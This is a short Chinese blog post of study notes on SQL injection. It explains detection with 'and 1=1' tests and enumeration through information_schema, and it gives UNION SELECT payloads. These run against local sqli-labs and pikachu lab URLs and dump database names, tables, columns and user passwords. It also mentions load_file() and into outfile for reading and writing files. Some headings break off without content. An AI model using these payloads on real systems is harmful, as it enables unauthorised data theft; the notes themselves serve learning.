SQL注入

发布时间 2023-09-20 16:22:51作者: TinKode

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。

 

 

 判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效

order by 默认是升序

  • 在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。
  • 数据库中“.”代表下级
  • select * information_schema.tables;记录所有表名
  • where table_name=''筛选条件
  • select * from information_schema.columns;记录所有的列名
  • where column_name=''筛选条件
  • wherw table_schema=''筛选条件

信息收集

  • 判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,...
  • 查询数据库 version()
  • 数据库名字 databaase()
  • 数据库用户 user()
  • 操作系统 @@version_compile_os
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'获取特定数据库表名
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取特定数据库特定表列数据
  • http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据
  • md5解密等等

 最新的

or不能用

 1后面随便输入,页面不正常说明有注入,页面正常没有注入

 文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、

常见的load_file()读取的敏感信息

 

 爆破